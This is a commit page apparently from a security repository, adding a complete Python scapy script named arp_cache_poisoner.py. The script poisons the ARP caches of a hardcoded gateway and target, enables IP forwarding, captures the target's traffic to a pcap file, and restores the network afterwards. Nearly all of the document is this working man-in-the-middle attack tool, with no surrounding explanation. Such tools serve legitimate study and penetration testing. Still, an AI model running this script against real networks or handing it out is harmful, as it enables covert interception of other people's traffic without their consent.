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Create arp_cache_poisoner.py

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Omar Santos 2021-02-23 20:42:33 -05:00 committed by GitHub
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# Script to perform an ARP cache poisoning attack
from scapy.all import *
import os
import signal
import sys
import threading
import time
#network and interface parameters
gateway_ip = "192.168.78.1"
target_ip = "192.168.78.123"
packet_count = 1000
conf.iface = "en0"
conf.verb = 0
# Once given an IP address, it will try to find a MAC address.
def get_mac(ip_address):
#An alternate method is using Layer 2: resp, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
for s,r in resp:
return r[ARP].hwsrc
return None
#Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
print("[*] Disabling IP forwarding")
#Disable IP Forwarding on a mac
os.system("sysctl -w net.inet.ip.forwarding=0")
#kill process on a mac
os.kill(os.getpid(), signal.SIGTERM)
def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
print("[*] Started ARP poison attack [CTRL-C to stop]")
try:
while True:
send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
time.sleep(2)
except KeyboardInterrupt:
print("[*] Stopped ARP poison attack. Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
print("[*] Starting arp_cache_poisoner")
print("[*] Enabling IP forwarding")
os.system("sysctl -w net.inet.ip.forwarding=1")
print(f"[*] Gateway IP address: {gateway_ip}")
print(f"[*] Target IP address: {target_ip}")
gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
print("[!] Unable to get gateway MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Gateway MAC address: {gateway_mac}")
target_mac = get_mac(target_ip)
if target_mac is None:
print("[!] Unable to get target MAC address. Exiting..")
sys.exit(0)
else:
print(f"[*] Target MAC address: {target_mac}")
#ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()
#Collect packet captures and save it to a file
try:
sniff_filter = "ip host " + target_ip
print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
wrpcap(target_ip + "_capture.pcap", packets)
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
print(f"[*] Stopping network capture..Restoring network")
restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
sys.exit(0)